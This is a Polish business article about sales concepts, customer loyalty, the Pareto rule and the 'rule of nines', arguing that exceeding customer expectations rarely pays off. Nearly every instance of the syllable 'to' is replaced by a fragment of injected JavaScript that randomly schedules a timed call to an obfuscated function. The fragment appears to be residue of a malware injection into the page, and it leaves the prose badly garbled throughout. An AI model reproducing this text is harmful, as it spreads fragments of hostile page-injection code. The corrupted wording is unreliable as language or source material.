To reguła, że nie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się zbytnio starać, gdyż klienci tego nie docenią, szczególnie nie docenią w postaci lojalności. A raczej, że skala tego docenienie nie pokryje nieproporcjonalnie dużego wysiłku związanego z doskonałością wykonywania Modelu.
Obietnica
Każda firma ma jakiś Model Biznesowy, nawet taka, która o tym nie wie. Ten Model stanowi obudowę dla jej przewagi konkurencyjnej, bez której ta przewaga w ogóle by nie zaistniała, ale też jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mechanizm, który przekształca popyt na rynku w rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność firmy.
W firmach handlowych wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnić szczególną część Modelu Biznesowego, Koncept Sprzedażowy, czyli tę część Modelu, którą widzi i odczuwa klient końcowy. Tę część wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnić, różni się od reszty Modelu sposobem funkcjonowania i sposobem zarządzania, ze względu na obecność nieprzewidywalnego elementu w postaci klienta. Jego zachowania można opisać tylko statystycznie.
Koncept Sprzedażowy jest ważny także dlatego, że jest odpowiedzialny za odwiedzalność, przez obietnicę, jaką składa kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi. Ta obietnica musi być na tyle atrakcyjna, żeby klienci chcieli nawiązywać kontakt z klientem, ale też na tyle tania, aby Model Biznesowy był w stanie jej dotrzymać, zachowując pożądaną rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność.
Czy przewaga konkurencyjna jest tym samym co obietnica? Tak, jeśli przewagą jest tzw. USP czyli Unique Selling Proposition, unikalna propozycja dla klienta. Ale USP słabo się sprawdzi jako przewaga konkurencyjna, jest drogie, łatwe do skopiowania i zauważenia. Dużo lepiej sprawdzi się w tej roli przewaga po stronie Modelu Biznesowego, po stronie szczególnie niskich kosztów, unikalnych umiejętności czy niskich nakładów. A wtedy obietnica musi zaproponować kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi coś innego.
Klienci przychodzą ze względu na obietnicę, a jeśli nie jest spełniona, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to odchodzą i już nie wracają. I tu wkracza lojalność, gdyż ta pozwala firmie wiele wybaczyć, a dzięki temu firma może wiele zaoszczędzić.
Organizacje pracują na 80% możliwości
Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kosztem zaledwie 20% wysiłku. To samo dotyczy spełniania obietnicy, ona też rzadko jest spełniona w 100%. Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 20% wysiłku pozwala oszczędzić wiele wysiłku, ale też wiele kosztów.
Uwaga. „czy rządzie Reguła Paredom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to?” Nie, rządzą zupełnie inne mechanizmy, o których Reguła Paredom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w ogóle nie wie. Ale Reguła Paredom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jako reguła statystyczna nie wnika w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „dlaczego”. Ona tylko ilustruje efekt działania mechanizmów, o których w ogóle nie wie.
Próba uzyskania sprawności wykonywania Modelu powyżej 80% kończy się zwiększonym wysiłkiem, którego organizacja w długim okresie nie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toleruje. Dlatego zaczyna działać reguła dziewiątek, robi się coraz trudniej, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości biznesowej oznacza coraz drożej.
Uwaga. „już obietnica rzadko odwołuje się do pełnej doskonałości”. I z góry zakłada pewien poziom dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerancji u klienta. Inaczej wszystkie firmy musiałby je w pełni wykonywać, a tak przecież nie jest.
Pole dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerancji klienta na niedoróbki w dotrzymywaniu obietnicy Konceptu rozszerza się, jeśli firma znajdzie jakiś sposób na zbudowanie lojalności.
Lojalność
Na czym polega lojalność? I jak firma na niej zyskuje? Lojalność dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skłonność klienta do wybaczania. Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to modyfikadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor obietnicy dla klienta, a raczej turbodoładowanie tej obietnicy. Już na poziomie samej obietnicy lojalność działa wg schematu „więcej za mniej”, czyli odwiedzalność jest większa, niż wynikałoby z tego, co firma obiecała.
(1) Zaoferować korzyść. To najpowszechniejszy pomysł na zdobywanie lojalności. Jednak pomysł albo nieskuteczny, albo bardzo koszdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towny. Ponieważ firma handlowa zagospodarowuje tylko mały fragment całego portfela wydatków klienta, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba mu dużo zaoferować, aby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to odczuł. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo koszdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towne dla firmy. Można oczywiście zaoszczędzić, np. zmuszając do mozolnego zbierania punktów, ale klient szybko się zniechęci.
Uwaga. „wykorzystać infrastrukturę”. Można próbować zaoszczędzić, oferując kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi coś, co już się ma i tak, jak linie lotnicze bilety lotnicze do samolotów, które i tak już latają czy szybsza odprawa w punktach, które i tak już istnieją. To polepszy ekonomię programu, ale nie uczyni przełomu.
(2) Dotrzymać obietnicy. To budowanie lojalności na zaufaniu, że klient zawsze dostanie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co mu się obiecało. Jednak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działanie raczej zapobiega utracie niezadowolonych klientów, niż pomaga pozyskać nowych i lojalnych. No i nie ma tu elementu oszczędności kosztów.
Uwaga. „zarządzanie codziennością” Stałe dotrzymywanie obietnicy wymaga od firmy sprawnego zarządzania codziennością, wystarczy już na 80% możliwości Modelu.
(3) Rozwiązywać problemy. To skuteczny sposób polegający na tym, że firma nie skupia się doskonałości, tylko na rozwiązywaniu niedoskonałości. Kiedy pojawiają się problemy (a zawsze się pojawiają), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, zamiast im zapobiegać (tu wkracza się na grząski grunt działania reguły dziewiątek), trzeba nauczyć się je rozwiązywać. To zawsze wyjdzie taniej, niż próba osiągnięcia doskonałości, a działa skuteczniej.
Uwaga. „polecanie firmy”. Jeśli wszystko poszło sprawnie, klient poleci firmę najwyżej kilku znajomym. Ale jeśli pójdzie źle, ale firma dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spektakularnie rozwiązała, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dowie się już o tym, co najmniej kilkanaście osób.
(4) Znaleźć czuły punkt. Tu można wykorzystać dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że Koncept składa tak naprawdę wiele obietnic, z których nie wszystkie są tak samo ważne dla klienta. Jeśli firma potrafi zdefiniować, które z nich są ważniejsze, które trafiają w jego czuły punkt, może postawić tylko na te. Będzie taniej, a klienci i tak przyjdą.
Uwaga. „obietnica jest szeroka”. Gdyż dotyczy wszystkich obszarów, w których Koncept styka się z klientem. Nie wszystkie zaś obszary są tak samo ważne. Np. czas spędzony w kolejce może być ważniejszy od porządku na półkach.
Ale szczególnie lojalność przydaje się na poziomie wdrożenia i wykonania Modelu Biznesowego. Tu klient jest gotów wybaczyć wiele odstępstw od idealnego Modelu, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może oszczędzić firmie wiele pieniędzy.
Tu działa reguła 9-tek, czyli każdy kolejny poziom doskonałości, tu zgodności z założeniami Modelu kosztuje 10 razy drożej. Można powiedzieć, że jeśli wykonanie Modelu w 99% kosztuje 10, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykonanie ze zgodnością 99,9% kosztuje. Z drugiej strony trzeba sobie zadać pytanie, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś w ogóle doceni?
Czy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się starać?
Czy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dążyć do ideału? Na pewno będzie od tego drożej, a jak mówi reguła 9tek, wielokrotnie drożej. Tymczasem już obietnica na poziomie 80% wykonania była wystarczająco atrakcyjna. Poza tym klienci nie mają oczekiwań „tak w ogóle”, tylko w sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do konkurencji.
Uwaga. „a jak mają inni?” Oni też nie są doskonali, u nich tak samo obowiązuje zasada, że same z siebie organizacje pracują na 20% wysiłku i 80% efektu.
A co, jeśli organizacja przewyższy swoją obietnicę? Dostarczy kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi więcej, niż mu obiecała? Na pewno bardzo się napracuje i poniesie znacznie większe koszty. Nadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomiast szansa, że klient dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w ogóle doceni, jest minimalna. A nawet jeśli doceni, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie zapłaci za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ani większą konwersją, większą średnią transakcją, ani większą lojalnością.
Dlaczego klienci nie doceniają „przekraczaj oczekiwania?” Bo przyszli do Konceptu ze względu na jego już istniejącą i komunikowaną obietnicę. Była więc wystarczająco atrakcyjna, żeby ich zwabić, a jednocześnie opłacalna dla Modelu. I o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w niej chodziło, więc po co dawać więcej?
A jeśli obietnica nie była dostatecznie atrakcyjna, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to klienci nie przyjdą, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już jednak wtedy poważny problem całego Modelu. Czy ze względu na przekroczenie oczekiwań klienci będą bardziej lojalni? Raczej potraktują dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jako część nowej (wcale jednak nie bardziej kuszącej) obietnicy, coś, co od tej pory już im się należy i od tego momentu zaczną już z niej rozliczać, z konsekwencjami dla Modelu i jego rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności.
Podsumowanie
Reguła 9tek mówi, że osiągnięcie kolejnego poziomu doskonałości kosztuje 10 razy więcej. A więc 99% doskonałości jest 10 razy tańsze niż 99,9%. Z drugiej strony firmy i tak nie pracują zgodnie z tym, co obiecały kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom, więc dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to praktyka powszechna. Czy wobec tego war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się starać? Na ogół nie , gdyż klient i tak tego nie doceni.